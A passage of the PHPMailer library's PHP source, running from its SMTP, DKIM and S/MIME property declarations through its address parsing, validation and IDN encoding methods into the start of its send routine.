gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * * @see PHPMailer::$Helo * * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "", * as defined in RFC5322 section 3.6.4 or it will be ignored. * * @see https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4 * * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * * @var int */ public $Port = 25; /** * The SMTP HELO/EHLO name used for the SMTP connection. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * * @see PHPMailer::$Hostname * * @var string */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS. * * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * * @var bool */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * * @see PHPMailer::$Username * @see PHPMailer::$Password * * @var bool */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ public $SMTPOptions = []; /** * SMTP username. * * @var string */ public $Username = ''; /** * SMTP password. * * @var string */ public $Password = ''; /** * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2. * If not specified, the first one from that list that the server supports will be selected. * * @var string */ public $AuthType = ''; /** * SMTP SMTPXClient command attributes * * @var array */ protected $SMTPXClient = []; /** * An implementation of the PHPMailer OAuthTokenProvider interface. * * @var OAuthTokenProvider */ protected $oauth; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timeout = 300; /** * Comma separated list of DSN notifications * 'NEVER' under no circumstances a DSN must be returned to the sender. * If you use NEVER all other notifications will be ignored. * 'SUCCESS' will notify you when your mail has arrived at its destination. * 'FAILURE' will arrive if an error occurred during delivery. * 'DELAY' will notify you if there is an unusual delay in delivery, but the actual * delivery's outcome (success or failure) is not yet decided. * * @see https://www.rfc-editor.org/rfc/rfc3461.html#section-4.1 for more information about NOTIFY */ public $dsn = ''; /** * SMTP class debug output mode. * Debug output level. * Options: * @see SMTP::DEBUG_OFF: No output * @see SMTP::DEBUG_CLIENT: Client messages * @see SMTP::DEBUG_SERVER: Client and server messages * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed * * @see SMTP::$do_debug * * @var int */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `
      `, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @see SMTP::$Debugoutput * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to keep the SMTP connection open after each message. * If this is set to true then the connection will remain open after a send, * and closing the connection will require an explicit call to smtpClose(). * It's a good idea to use this if you are sending multiple messages as it reduces overhead. * See the mailing list example for how to use it. * * @var bool */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * * @var bool * * @deprecated 6.0.0 PHPMailer isn't a mailing list manager! */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * * @var array */ protected $SingleToArray = []; /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see https://www.postfix.org/VERP_README.html Postfix VERP info * * @var bool */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * * @var bool */ public $AllowEmpty = false; /** * DKIM selector. * * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * * @example 'example.com' * * @var string */ public $DKIM_domain = ''; /** * DKIM Copy header field values for diagnostic use. * * @var bool */ public $DKIM_copyHeaderFields = true; /** * DKIM Extra signing headers. * * @example ['List-Unsubscribe', 'List-Help'] * * @var array */ public $DKIM_extraHeaders = []; /** * DKIM private key file path. * * @var string */ public $DKIM_private = ''; /** * DKIM private key string. * * If set, takes precedence over `$DKIM_private`. * * @var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: https://www.php.net/is_callable * * Parameters: * bool $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * string $extra extra information of possible use * 'smtp_transaction_id' => last smtp transaction id * * @var callable|callable-string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use. * * @var string|null */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. * * If CharSet is UTF8, the validator is left at the default value, * and you send to addresses that use non-ASCII local parts, then * PHPMailer automatically changes to the 'eai' validator. * * @see PHPMailer::validateAddress() * * @var string|callable */ public static $validator = 'php'; /** * An instance of the SMTP sender class. * * @var SMTP */ protected $smtp; /** * The array of 'to' names and addresses. * * @var array */ protected $to = []; /** * The array of 'cc' names and addresses. * * @var array */ protected $cc = []; /** * The array of 'bcc' names and addresses. * * @var array */ protected $bcc = []; /** * The array of reply-to names and addresses. * * @var array */ protected $ReplyTo = []; /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * * @var array */ protected $all_recipients = []; /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * @see PHPMailer::$all_recipients * * @var array */ protected $RecipientsQueue = []; /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * * @see PHPMailer::$ReplyTo * * @var array */ protected $ReplyToQueue = []; /** * Whether the need for SMTPUTF8 has been detected. Set by * preSend() if necessary. * * @var bool */ public $UseSMTPUTF8 = false; /** * The array of attachments. * * @var array */ protected $attachment = []; /** * The array of custom headers. * * @var array */ protected $CustomHeader = []; /** * The most recent Message-ID (including angular brackets). * * @var string */ protected $lastMessageID = ''; /** * The message's MIME type. * * @var string */ protected $message_type = ''; /** * The array of MIME boundary strings. * * @var array */ protected $boundary = []; /** * The array of available text strings for the current language. * * @var array */ protected static $language = []; /** * The number of errors encountered. * * @var int */ protected $error_count = 0; /** * The S/MIME certificate file path. * * @var string */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * * @var string */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * * @var string */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * * @var string */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * * @var bool */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * * @var string */ protected $uniqueid = ''; /** * The PHPMailer Version number. * * @var string */ const VERSION = '7.0.0'; /** * Error severity: message only, continue processing. * * @var int */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. * * @var int */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. * * @var int */ const STOP_CRITICAL = 2; /** * The SMTP standard CRLF line break. * If you want to change line break format, change static::$LE, not this. */ const CRLF = "\r\n"; /** * "Folding White Space" a white space string used for line folding. */ const FWS = ' '; /** * SMTP RFC standard line ending; Carriage Return, Line Feed. * * @var string */ protected static $LE = self::CRLF; /** * The maximum line length supported by mail(). * * Background: mail() will sometimes corrupt messages * with headers longer than 65 chars, see #818. * * @var int */ const MAIL_MAX_LINE_LENGTH = 63; /** * The maximum line length allowed by RFC 2822 section 2.1.1. * * @var int */ const MAX_LINE_LENGTH = 998; /** * The lower maximum line length allowed by RFC 2822 section 2.1.1. * This length does NOT include the line break * 76 means that lines will be 77 or 78 chars depending on whether * the line break format is LF or CRLF; both are valid. * * @var int */ const STD_LINE_LENGTH = 76; /** * Constructor. * * @param bool $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if (null !== $exceptions) { $this->exceptions = (bool) $exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do). * * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string|null $params Params * * @return bool */ private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if ((int)ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Calling mail() with null params breaks $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } /** * Output debugging info via a user-defined method. * Only generates output if debug output is enabled. * * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug(rtrim($str, "\r\n")); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "
      \n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Sets message type to HTML or plain. * * @param bool $isHtml True for HTML mode */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } /** * Send messages using SMTP. */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. */ public function isMail() { $this->Mailer = 'mail'; } /** * Send messages using $Sendmail. */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } /** * Send messages using qmail. */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } /** * Add a "To" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * * @param string $address The email address to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'Reply-To' * @param string $address The email address * @param string $name An optional username associated with the address * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $pos = false; if ($address !== null) { $address = trim($address); $pos = strrpos($address, '@'); } if (false === $pos) { //At-sign is missing. $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ($name !== null && is_string($name)) { $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim } else { $name = ''; } $params = [$kind, $address, $name]; //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. //Domain is assumed to be whatever is after the last @ symbol in the address if ($this->has8bitChars(substr($address, ++$pos))) { if (static::idnSupported()) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } //We have an 8-bit domain, but we are missing the necessary extensions to support it //Or we are already sending to this address return false; } //Immediately add standard addresses without IDN. return call_user_func_array([$this, 'addAnAddress'], $params); } /** * Set the boundaries to use for delimiting MIME parts. * If you override this, ensure you set all 3 boundaries to unique values. * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies, * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7 * * @return void */ public function setBoundaries() { $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1=_' . $this->uniqueid; $this->boundary[2] = 'b2=_' . $this->uniqueid; $this->boundary[3] = 'b3=_' . $this->uniqueid; } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addAnAddress($kind, $address, $name = '') { if ( self::$validator === 'php' && ((bool) preg_match('/[\x80-\xFF]/', $address)) ) { //The caller has not altered the validator and is sending to an address //with UTF-8, so assume that they want UTF-8 support instead of failing $this->CharSet = self::CHARSET_UTF8; self::$validator = 'eai'; } if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf( '%s: %s', self::lang('Invalid recipient kind'), $kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } else { foreach ($this->ReplyTo as $replyTo) { if (0 === strcasecmp($replyTo[0], $address)) { return false; } } $this->ReplyTo[] = [$address, $name]; return true; } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name
      " into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. * Note that quotes in the name part are removed. * * @see https://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation * * @param string $addrstr The address list string * @param null $useimap Deprecated argument since 6.11.0. * @param string $charset The charset to use when decoding the address list string. * * @return array */ public static function parseAddresses($addrstr, $useimap = null, $charset = self::CHARSET_ISO88591) { if ($useimap !== null) { trigger_error(self::lang('deprecated_argument'), E_USER_DEPRECATED); } $addresses = []; if (function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available $list = imap_rfc822_parse_adrlist($addrstr, ''); // Clear any potential IMAP errors to get rid of notices being thrown at end of script. imap_errors(); foreach ($list as $address) { if ( '.SYNTAX-ERROR.' !== $address->host && static::validateAddress($address->mailbox . '@' . $address->host) ) { //Decode the name part if it's present and maybe encoded if ( property_exists($address, 'personal') && is_string($address->personal) && $address->personal !== '' ) { $address->personal = static::decodeHeader($address->personal, $charset); } $addresses[] = [ 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host, ]; } } } else { //Use this simpler parser $addresses = static::parseSimplerAddresses($addrstr, $charset); } return $addresses; } /** * Parse a string containing one or more RFC822-style comma-separated email addresses * with the form "display name
      " into an array of name/address pairs. * Uses a simpler parser that does not require the IMAP extension but doesnt support * the full RFC822 spec. For full RFC822 support, use the PHP IMAP extension. * * @param string $addrstr The address list string * @param string $charset The charset to use when decoding the address list string. * * @return array */ protected static function parseSimplerAddresses($addrstr, $charset) { // Emit a runtime notice to recommend using the IMAP extension for full RFC822 parsing trigger_error(self::lang('imap_recommended'), E_USER_NOTICE); $addresses = []; $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if (static::validateAddress($address)) { $addresses[] = [ 'name' => '', 'address' => $address, ]; } } else { $parsed = static::parseEmailString($address); $email = $parsed['email']; if (static::validateAddress($email)) { $name = static::decodeHeader($parsed['name'], $charset); $addresses[] = [ //Remove any surrounding quotes and spaces from the name 'name' => trim($name, '\'" '), 'address' => $email, ]; } } } return $addresses; } /** * Parse a string containing an email address with an optional name * and divide it into a name and email address. * * @param string $input The email with name. * * @return array{name: string, email: string} */ private static function parseEmailString($input) { $input = trim((string)$input); if ($input === '') { return ['name' => '', 'email' => '']; } $pattern = '/^\s*(?:(?:"([^"]*)"|\'([^\']*)\'|([^<]*?))\s*)?<\s*([^>]+)\s*>\s*$/'; if (preg_match($pattern, $input, $matches)) { $name = ''; // Double quotes including special scenarios. if (isset($matches[1]) && $matches[1] !== '') { $name = $matches[1]; // Single quotes including special scenarios. } elseif (isset($matches[2]) && $matches[2] !== '') { $name = $matches[2]; // Simplest scenario, name and email are in the format "Name ". } elseif (isset($matches[3])) { $name = trim($matches[3]); } return ['name' => $name, 'email' => trim($matches[4])]; } return ['name' => '', 'email' => $input]; } /** * Set the From and FromName properties. * * @param string $address * @param string $name * @param bool $auto Whether to also set the Sender address, defaults to true * * @throws Exception * * @return bool */ public function setFrom($address, $name = '', $auto = true) { if (is_null($name)) { //Helps avoid a deprecation warning in the preg_replace() below $name = ''; } $address = trim((string)$address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim //Don't validate now addresses with IDN. Will be done in send(). $pos = strrpos($address, '@'); if ( (false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address)) ) { $error_message = sprintf( '%s (From): %s', self::lang('invalid_address'), $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * Validation patterns supported: * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `eai` Use a pattern similar to the HTML5 spec for 'email' and to firefox, extended to support EAI (RFC6530). * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * * ```php * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * ``` * * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * * @param string $address The email address to check * @param string|callable $patternselect Which pattern to use * * @return bool */ public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603 if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `a@b.123` * * unbracketed IPv4 literals: `a@192.168.0.1` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'eai': /* * This is the pattern used in the HTML5 spec for validation of 'email' type * form input elements (as above), modified to accept Unicode email addresses. * This is also more lenient than Firefox' html5 spec, in order to make the regex faster. * 'eai' is an acronym for Email Address Internationalization. * This validator is selected automatically if you attempt to use recipient addresses * that contain Unicode characters in the local part. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) * @see https://en.wikipedia.org/wiki/International_email */ return (bool) preg_match( '/^[-\p{L}\p{N}\p{M}.!#$%&\'*+\/=?^_`{|}~]+@[\p{L}\p{N}\p{M}](?:[\p{L}\p{N}\p{M}-]{0,61}' . '[\p{L}\p{N}\p{M}])?(?:\.[\p{L}\p{N}\p{M}]' . '(?:[-\p{L}\p{N}\p{M}]{0,61}[\p{L}\p{N}\p{M}])?)*$/usD', $address ); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * `intl` and `mbstring` PHP extensions. * * @return bool `true` if required functions for IDN support are present */ public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain contains characters not allowed in an IDN). * * @see PHPMailer::$CharSet * * @param string $address The email address to convert * * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { //Verify we have required functions, CharSet, and at-sign. $pos = strrpos($address, '@'); if ( !empty($this->CharSet) && false !== $pos && static::idnSupported() ) { $domain = substr($address, ++$pos); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { //Convert the domain from whatever charset it's in to UTF-8 $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); //Ignore IDE complaints about this line - method signature changed in PHP 5.4 $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { //Use the current punycode standard (appeared in PHP 7.2) $punycode = idn_to_ascii( $domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46 ); } elseif (defined('INTL_IDNA_VARIANT_2003')) { //Fall back to this old, deprecated/removed encoding $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { //Fall back to a default we don't know about $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * * @throws Exception * * @return bool false on error - See the ErrorInfo property for details of the error */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * * @throws Exception * * @return bool */ public function preSend() { if ( 'smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0)) ) { //SMTP mandates RFC-compliant line endings //and it's also used with mail() on Windows static::setLE(self::CRLF); } else { //Maintain backward compatibility with legacy Linux command line mailers static::setLE(PHP_EOL); } //Check for buggy PHP versions that add a header with an incorrect line break if ( 'mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0 ) { trigger_error(self::lang('buggy_php'), E_USER_WARNING); } try { $this->error_count = 0; //Reset errors $this->mailHeader = ''; //The code below tries to support full use of Unicode, //while remaining compatible with legacy SMTP servers to //the greatest degree possible: If the message uses //Unicode in the local parts of any addresses, it is sent //using SMTPUTF8. If not, it it sent using //punycode-encoded domains and plain SMTP. if ( static::CHARSET_UTF8 === strtolower($this->CharSet) && ($this->anyAddressHasUnicodeLocalPart($this->RecipientsQueue) || $this->anyAddressHasUnicodeLocalPart(array_keys($this->all_recipients)) || $this->anyAddressHasUnicodeLocalPart($this->ReplyToQueue) || $this->addressHasUnicodeLocalPart($this->From)) ) { $this->UseSMTPUTF8 = true; } //Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { if (!$this->UseSMTPUTF8) { $params[1] = $this->punyencodeAddress($params[1]); } call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception(self::lang('provide_address'), self::STOP_CRITICAL); } //Validate From, Sender, and ConfirmReadingTo addresses foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { if ($this->{$address_kind} === null) { $this->{$address_kind} = ''; continue; } $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!static::validateAddress($this->{$address_kind})) { $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), 